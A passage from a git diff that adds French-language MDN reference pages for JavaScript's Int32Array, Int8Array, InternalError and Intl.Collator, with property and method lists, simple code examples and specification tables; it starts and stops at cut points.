Renvoie la longueur, exprimée en octets, de l'objet Int32Array depuis le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.byteOffset", "Int32Array.prototype.byteOffset")}} {{readonlyInline}}
+
Renvoie le décalage, exprimé en octets, entre l'objet Int32Array et le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.length", "Int32Array.prototype.length")}} {{readonlyInline}}
+
Renvoie le nombre d'éléments contenus dans l'objet Int32Array. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "Int32Array.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "Int32Array.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "Int32Array.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "Int32Array.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "Int32Array.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "Int32Array.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "Int32Array.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "Int32Array.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "Int32Array.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "Int32Array.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "Int32Array.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "Int32Array.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "Int32Array.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "Int32Array.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.move", "Int32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Int32Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.reduce", "Int32Array.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "Int32Array.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "Int32Array.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "Int32Array.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "Int32Array.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "Int32Array.prototype.some()")}}
+
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "Int32Array.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "Int32Array.prototype.subarray()")}}
+
Renvoie un nouvel objet Int32Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "Int32Array.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "Int32Array.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "Int32Array.prototype.toString()")}}
+
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "Int32Array.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +

Exemples

+ +

Différentes façons de créer un objet Int32Array :

+ +
// Construction à partir d'une longueur
+var int32 = new Int32Array(2);
+int32[0] = 42;
+console.log(int32[0]); // 42
+console.log(int32.length); // 2
+console.log(int32.BYTES_PER_ELEMENT); // 4
+
+// Construction à partir d'un tableau
+var arr = new Int32Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un autre TypedArray
+var x = new Int32Array([21, 31]);
+var y = new Int32Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(16);
+var z = new Int32Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var int32 = new Int32Array(iterable);
+// Int32Array[1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur afin de pouvoir utiliser l'opération interne ToIndex et permettre de l'utiliser sans argument.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Int32Array")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), Int32Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Int32Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = Int32Array([1, 2, 3]);
+// TypeError: calling a builtin Int32Array constructor
+// without new is forbidden
+ +
var dv = new Int32Array([1, 2, 3]);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/int8array/index.html b/files/fr/web/javascript/reference/global_objects/int8array/index.html new file mode 100644 index 0000000000..3226323471 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/int8array/index.html @@ -0,0 +1,209 @@ +--- +title: Int8Array +slug: Web/JavaScript/Reference/Objets_globaux/Int8Array +tags: + - Constructor + - Int8Array + - JavaScript + - Reference + - TypedArray + - TypedArrrays +translation_of: Web/JavaScript/Reference/Global_Objects/Int8Array +--- +
{{JSRef}}
+ +

Le tableau typé Int8Array permet de représenter un tableau d'entiers signés (en complément à deux) représentés sur 8 bits. Les éléments du tableau sont initialisés à 0. Une fois le tableau construit, il est possible de faire référence aux éléments en utilisant les méthodes de l'objet ou en utilisant la notation usuelle de parcours d'un tableau (la syntaxe utilisant les crochets).

+ +

Syntaxe

+ +
new Int8Array(); // apparu avec ES2017
+new Int8Array(length);
+new Int8Array(typedArray);
+new Int8Array(object);
+new Int8Array(buffer [, byteOffset [, length]]);
+ +

Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les tableaux typés (TypedArray).

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int8Array.BYTES_PER_ELEMENT")}}
+
Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de Int8Array, la propriété vaudra 1.
+
Int8Array.length
+
Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Int8Array.prototype.length")}}.
+
{{jsxref("TypedArray.name", "Int8Array.name")}}
+
Renvoie la chaîne de caractère représentant le nom du constructeur. Dans le cas de Int8Array, la propriété vaudra "Int8Array".
+
{{jsxref("TypedArray.prototype", "Int8Array.prototype")}}
+
Prototype pour les objets TypedArray.
+
+ +

Méthodes

+ +
+
Int8Array.from()
+
Crée un nouvel objet Int8Array à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.
+
Int8Array.of()
+
Crée un nouvel objet Int8Array à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}.
+
+ +

Prototype de Int8Array

+ +

Tous les objets Int8Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Propriétés

+ +
+
Int8Array.prototype.constructor
+
Renvoie la fonction qui a créé l'instance. Par défaut, c'est le constructeur Int8Array.
+
{{jsxref("TypedArray.prototype.buffer", "Int8Array.prototype.buffer")}} {{readonlyInline}}
+
Renvoie l'objet {{jsxref("ArrayBuffer")}} auquel fait référence le tableau Int8Array. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.
+
{{jsxref("TypedArray.prototype.byteLength", "Int8Array.prototype.byteLength")}} {{readonlyInline}}
+
Renvoie la longueur (exprimée en octet) du tableau Int8Array depuis le début du tampon {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.
+
{{jsxref("TypedArray.prototype.byteOffset", "Int8Array.prototype.byteOffset")}} {{readonlyInline}}
+
Renvoie le décalage (exprimé en octets) du tableau Int8Array par rapport au début du tampon {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.
+
{{jsxref("TypedArray.prototype.length", "Int8Array.prototype.length")}} {{readonlyInline}}
+
Renvoie le nombre d'éléments contenus dans le tableau Int8Array. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "Int8Array.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "Int8Array.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "Int8Array.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "Int8Array.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "Int8Array.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "Int8Array.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "Int8Array.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "Int8Array.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "Int8Array.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "Int8Array.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "Int8Array.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "Int8Array.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "Int8Array.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "Int8Array.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.move", "Int8Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Int8Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.reduce", "Int8Array.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "Int8Array.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "Int8Array.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "Int8Array.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "Int8Array.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "Int8Array.prototype.some()")}}
+
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "Int8Array.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "Int8Array.prototype.subarray()")}}
+
Renvoie un nouvel objet Int8Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "Int8Array.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "Int8Array.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "Int8Array.prototype.toString()")}}
+
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "Int8Array.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +
+
+ +

Exemples

+ +

Différentes façons de créer un objet Int8Array :

+ +
// Construction à partir d'une longueur
+var int8 = new Int8Array(2);
+int8[0] = 42;
+console.log(int8[0]); // 42
+console.log(int8.length); // 2
+console.log(int8.BYTES_PER_ELEMENT); // 1
+
+// Construction à partir d'un tableau
+var arr = new Int8Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un autre TypedArray
+var x = new Int8Array([21, 31]);
+var y = new Int8Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Int8Array(buffer, 1, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var int8 = new Int8Array(iterable);
+// Int8Array[1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur afin d'utiliser l'opération interne ToIndex et permettre de l'utiliser sans constructeur.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Int8Array")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), Int8Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Int8Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = Int8Array([1, 2, 3]);
+// TypeError: calling a builtin Int8Array constructor
+// without new is forbidden
+ +
var dv = new Int8Array([1, 2, 3]);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/internalerror/index.html b/files/fr/web/javascript/reference/global_objects/internalerror/index.html new file mode 100644 index 0000000000..a743ef18ca --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/internalerror/index.html @@ -0,0 +1,81 @@ +--- +title: InternalError +slug: Web/JavaScript/Reference/Objets_globaux/InternalError +tags: + - Error + - InternalError + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/InternalError +--- +
{{JSRef}} {{non-standard_header}}
+ +

L'objet InternalError indique qu'une erreur liée au moteur JavaScript s'est produite. Par exemple "InternalError : Niveau de récursion trop important".

+ +

Syntaxe

+ +
new InternalError([message[, fileName[, lineNumber]]])
+ +

Paramètres

+ +
+
message
+
Paramètre optionnel. Une description de l'erreur compréhensible pour un être humain.
+
fileName {{Non-standard_inline}}
+
Paramètre optionnel. Le nom du fichier contenant le code à l'origine de l'erreur.
+
lineNumber {{Non-standard_inline}}
+
Paramètre optionnel. Le numéro de la ligne du code à l'origine de l'erreur.
+
+ +

Description

+ +

Une exception InternalError est levée à chaque fois qu'il se produit une erreur interne au moteur JavaScript.

+ +

Le plus souvent, cette exception se produit lorsque quelque chose atteint un niveau trop élévé. Par exemple :

+ +
    +
  • trop de cas dans une construction switch,
    • +
  • trop de parenthèses au sein d'une expression rationnelle,
    • +
  • un tableau littéral trop grand,
    • +
  • trop de niveaux de récursion.
    • +
+ +

Propriétés

+ +
+
{{jsxref("InternalError.prototype")}}
+
Permet l'ajout de nouvelles propriétés à un objet InternalError.
+
+ +

Méthodes

+ +

L'objet global InternalError ne contient pas de méthode propre. En revanche, il hérite de certaines méthodes via sa chaîne de prototypes.

+ +

Instances de InternalError

+ +

Propriétés

+ +
{{page("/fr/docs/JavaScript/Reference/Objets_globaux/InternalError/prototype","Properties")}}
+ +

Méthodes

+ +
{{page("/fr/docs/JavaScript/Reference/Objets_globaux/InternalError/prototype","Methods")}}
+ +

Spécifications

+ +

Cet objet ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.InternalError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error")}}
    • +
  • {{jsxref("InternalError.prototype")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/collator/compare/index.html b/files/fr/web/javascript/reference/global_objects/intl/collator/compare/index.html new file mode 100644 index 0000000000..b120729383 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/collator/compare/index.html @@ -0,0 +1,102 @@ +--- +title: Intl.Collator.prototype.compare +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/compare +tags: + - Collator + - Internationalisation + - Intl + - JavaScript + - Méthode + - Prototype + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/compare +--- +
{{JSRef}}
+ +

La méthode Intl.Collator.prototype.compare() compare deux chaînes de caractères en tenant compte des options spécifiées pour la locale et l'ordre de tri dans l'objet {{jsxref("Collator")}}.

+ +
{{EmbedInteractiveExample("pages/js/intl-collator-prototype-compare.html")}}
+ + + +

Syntaxe

+ +
collator.compare(chaine1, chaine2)
+ +

Paramètres

+ +
+
chaine1
+
chaine2
+
Les chaînes de caractères à comparer.
+
+ +

Description

+ +

L'accesseur compare renvoie un nombre qui indique le résultat de la comparaison entre chaine1 et chaine2 selon l'ordre de tri de l'objet {{jsxref("Collator")}} : la valeur obtenue sera négative si chaine1 précède chaine2, positive si chaine1 succède à chaine2, nulle si les deux chaînes sont considérées égales.

+ +

Exemples

+ +

Utiliser compare() pour trier un tableau

+ +

Dans cet exemple, on utilise la fonction de l'accesseur compare pour trier des tableaux. On observe que la fonction est liée à l'objet Collator, on peut donc directement la passer à la méthode {{jsxref("Array.prototype.sort()")}}.

+ +
var a = ["Offenbach", "Österreich", "Odenwald"];
+var collator = new Intl.Collator("de-u-co-phonebk");
+a.sort(collator.compare);
+console.log(a.join(", "));
+// → "Odenwald, Österreich, Offenbach"
+ +

Utiliser compare() pour chercher dans un tableau

+ +

Ici, on utilise la fonction de l'accesseur compare pour trouver les chaînes égales à une chaîne donnée parmi un tableau :

+ +
var a = ["Congrès", "congres", "Assemblée", "poisson"];
+var collator = new Intl.Collator("fr", {usage: "search", sensitivity: "base"});
+var s = "congres";
+var matches = a.filter(function (v) {
+    return collator.compare(v, s) === 0;
+});
+console.log(matches.join(", "));
+// → "Congrès, congres"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES Int 1.0', '#sec-10.3.2', 'Intl.Collator.prototype.compare')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-10.3.2', 'Intl.Collator.prototype.compare')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype.compare', 'Intl.Collator.prototype.compare')}}{{Spec2('ES Int Draft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Intl.Collator.compare")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Collator", "Intl.Collator")}}
    • +
  • {{jsxref("String.prototype.localeCompare()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/intl/collator/index.html b/files/fr/web/javascript/reference/global_objects/intl/collator/index.html new file mode 100644 index 0000000000..3130eed3b8 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/intl/collator/index.html @@ -0,0 +1,178 @@ +--- +title: Intl.Collator +slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator +tags: + - Collator + - Constructeur + - Internationalisation + - Intl + - JavaScript + - Reference + - i18n +translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator +--- +
{{JSRef}}
+ +

L'objet Intl.Collator est un constructeur de « collecteurs », des objets permettant de comparer des chaînes de caractères en tenant compte de la locale.

+ +
{{EmbedInteractiveExample("pages/js/intl-collator.html")}}
+ + + +

Syntaxe

+ +
new Intl.Collator([locales [, options]])
+ +

Paramètres

+ +
+
locales
+
+

Une chaîne de caractères avec une balise de langue BCP 47 ou un tableau qui contient des chaînes dans ce format. Pour plus d'informations sur le format et l'interprétation de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}. Pour ce constructeur, les clés d'extensions Unicode suivantes sont acceptées :

+ +
+
co
+
Les variantes dans les méthodes de regroupement (« collation ») des chaînes de caractères. Les valeurs autorisées pour cette clé sont : "big5han", "dict", "direct", "ducet", "gb2312", "phonebk", "phonetic", "pinyin", "reformed", "searchjl", "stroke", "trad", "unihan". Les valeurs "standard" et "search" sont ignorées. Elles sont remplacées par la propriété usage de l'argument options (voir ci-après).
+
kn
+
Indique si on ordonne les nombres (par exemple : "1" < "2" < "10"). Les valeurs possibles sont "true" et "false". Cette option est également disponible via une propriété de l'objet options. Si l'extension Unicode et la propriété de l'objet options sont définies, ce sera cette dernière qui sera prise en compte.
+
kf
+
Indique si on ordonne les majuscules avant les minuscules ou l'inverse. Les valeurs possibles sont "upper", "lower", ou "false" (on utilise alors l'ordre par défaut de la locale). Cette option est également disponible via une propriété de l'objet options. Si l'extension Unicode et la propriété de l'objet options sont définies, ce sera cette dernière qui sera prise en compte.
+
+
+
options
+
+

Un objet qui disposent des propriétés suivantes :

+ +
+
localeMatcher
+
L'algorithme de correspondance à utiliser pour les locales. Les valeurs possibles sont "lookup" et "best fit". La valeur par défaut est "best fit". Voir la {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}} pour plus d'informations à ce sujet.
+
usage
+
Indique l'usage de le comparaison : le tri ou la recherche de chaînes correspondantes. Les valeurs possibles sont "sort" pour le tri et "search" pour la recherche. La valeur par défaut est "sort".
+
sensitivity
+
Indique les différences entre les chaînes de caractères qui font qu'une chaîne est considérée différente d'une autre. Les valeurs possibles sont : +
    +
  • "base" : Seules les chaînes dont les lettres de base sont différentes sont considérées inégales. Par exemple : a ≠ b, a = á, a = A.
    • +
  • "accent" : Seules les chaînes de caractères dont les lettres de bases ou les accents ou les autres marques diacritiques diffèrent sont considérées inégales. Par exemple : a ≠ b, a ≠ á, a = A.
    • +
  • "case" : Seules les chaines dont les lettres de base ou la casse sont diffèrent sont considérées comme inégales. Par exemple : a ≠ b, a = á, a ≠ A.
    • +
  • "variant" : Les chaînes qui diffèrent par leurs caractères de base, leurs accents et autres marques diacritiques, la casse sont considérées comme inégales. D'autres différences peuvent également être prises en compte. Par exemple : a ≠ b, a ≠ á, a ≠ A.
    • +
+ +

La valeur par défaut est "variant" si on utilise la comparaison pour du tri (usage="sort"). Pour l'utilisation "search" (recherche), la valeur par défaut dépend de la locale.

+
+
ignorePunctuation
+
Indique si la ponctuation doit être ignorée. Les valeurs possibles sont true et false. La valeur par défaut est false.
+
numeric
+
Indique si on ordonne les nombres (par exemple : "1" < "2" < "10"). Les valeurs possibles sont true et false. La valeur par défaut est false. Si l'extension Unicode correspondante et la propriété de l'objet options sont définies, ce sera cette dernière qui sera prise en compte.
+
caseFirst
+
Indique si on ordonne les majuscules avant les minuscules ou l'inverse. Les valeurs possibles sont "upper", "lower", ou "false" (on utilise alors l'ordre par défaut de la locale), la valeur par défaut est "false". Si l'extension Unicode correspondante et la propriété de l'objet options sont définies, ce sera cette dernière qui sera prise en compte.
+
+
+
+ +

Description

+ +

L'objet Intl.Collator possède les propriétés et méthodes suivantes :

+ +

Propriétés

+ +
+
{{jsxref("Collator.prototype", "Intl.Collator.prototype")}}
+
Permet d'ajouter des propriétés à toutes les instances.
+
+ +

Méthodes

+ +
+
{{jsxref("Collator.supportedLocalesOf", "Intl.Collator.supportedLocalesOf()")}}
+
Renvoie un tableau qui contient les locales supportées pour lesquelles il n'est pas nécessaire de revenir à la locale par défaut de l'environnement.
+
+ +

Instances de Collator

+ +

Propriétés

+ +

Les instances de Collator héritent des propriétés suivantes grâce à leur prototype :

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Collator/prototype','Propriétés')}}
+ +

Méthodes

+ +
+

Les instances de Collator héritent des méthodes suivantes grâce à leur prototype :

+{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Collator/prototype','Méthodes')}}
+ +

Exemples

+ +

Utiliser Collator

+ +

L'exemple qui suit illustre les différents résultats qu'on peut obtenir :

+ +
